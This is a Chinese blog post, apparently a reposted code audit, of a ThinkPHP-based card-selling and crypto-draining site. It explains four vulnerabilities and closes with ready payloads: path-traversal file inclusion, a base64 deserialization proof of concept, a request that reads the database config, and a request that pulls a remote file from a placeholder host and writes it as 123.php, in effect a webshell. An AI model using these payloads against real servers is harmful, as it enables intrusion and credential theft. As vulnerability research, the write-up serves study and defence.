[代码审计] 某盗U/发卡系统 不知道是几day

渗透技巧 6个月前 admin
211 0 0

请遵守法律法规,合法冲浪

本文仅作知识分享用

一切直接或间接由于本文所造成的后果与本人无关

系统简介

2024最新UI发卡盗U/支持多语言/更新UI界面/支持多个主流钱包。由ThinkPHP5.0.24(fastadmin)开发。

开发语言:PHP开发框架:ThinkPHP5.0.24fastadmin后台地址:caishenjiadao.phpadmin.php

[代码审计] 某盗U/发卡系统 不知道是几day

[代码审计] 某盗U/发卡系统 不知道是几day

代码分析

代码执行-鸡肋版

传入参数“func”作为方法名,后面方法执行,鸡肋的是方法不能传参数,也就导致了这个鸡肋的代码执行。

[代码审计] 某盗U/发卡系统 不知道是几day

构造路由访问,代码执行效果如下:

[代码审计] 某盗U/发卡系统 不知道是几day

本地PHP文件包含

此漏洞为CNVD-2022-86535,即ThinkPHP多语言本地PHP文件包含。直接演示效果:

[代码审计] 某盗U/发卡系统 不知道是几day

反序列化

在查看订单内容功能中,参数“search_content”存在反序列化操作,配合ThinkPHP5.0.24反序列化可RCE,我这里没有环境,就加一个“__construct”方法进行测试了。

[代码审计] 某盗U/发卡系统 不知道是几day

[代码审计] 某盗U/发卡系统 不知道是几day

构造一个简单的链子进行复现。

[代码审计] 某盗U/发卡系统 不知道是几day

然后需要将序列化字串进行base64编码,得到最终的POC。

[代码审计] 某盗U/发卡系统 不知道是几day

最后构造路由,反序列化成功:

[代码审计] 某盗U/发卡系统 不知道是几day

源码中还有多处反序列化的点,这里就不多做赘述。

后台任意文件写入

这里和我前面一篇文章有一个漏洞一样,参考[代码审计] 某全新快递平台系统

在该函数中,“url”、“dir”、“filename”三个参数均可控,当参数“url”不为空时函数向下执行,参数“dir”可以不用传值,参数“filename”控制最终保存文件的文件名。

当函数运行到“ob_start();”时,意思是开启缓存捕捉,然后函数通过“readfile($url);”读取本地或远程的文件,并且文件内容保存在了缓存中。

当函数成功读取本地或远程的文件后,文件内容通过“$img = ob_get_contents();”传递给了变量“$img”,最后通过“$fp2 = fopen($filename, “a”);”和“fwrite($fp2, $img);”将文件内容保存到了名为“$filename”的文件中。

[代码审计] 某盗U/发卡系统 不知道是几day

构造好路由,直接演示效果:

1.将远程文件下载至本地。

[代码审计] 某盗U/发卡系统 不知道是几day

2.访问“123.php”,文件写入成功。

[代码审计] 某盗U/发卡系统 不知道是几day

如果目标不出网,可以先上传一个图片马,再利用后台任意文件写入将图片马重写成php文件,这里就不再演示,详细可以看[代码审计] 某全新快递平台系统

漏洞总结

代码执行-鸡肋版

1.“phpinfo”可替换为其他方法名/module/phpinfo

本地PHP文件包含

/?lang=../../../../../../www/wwwroot/web/public/lfi_test

反序列化

1.“Tzo1OiJPcmRlciI6MDp7fQ==”为base64编码/ordercontent/123search_content=Tzo1OiJPcmRlciI6MDp7fQ==

后台任意文件写入

1.本地/admin/plugin/download_file?url=../application/database.php&dir=&filename=test.txt2.远程/admin/plugin/download_file?url=http://xxx.xxx.xxx/123.txt&dir=&filename=123.php

[代码审计] 某盗U/发卡系统 不知道是几day

原文始发于微信公众号(不够安全):[代码审计] 某盗U/发卡系统 不知道是几day

版权声明:admin 发表于 2024年4月28日 上午8:31。
转载请注明:[代码审计] 某盗U/发卡系统 不知道是几day | CTF导航

相关文章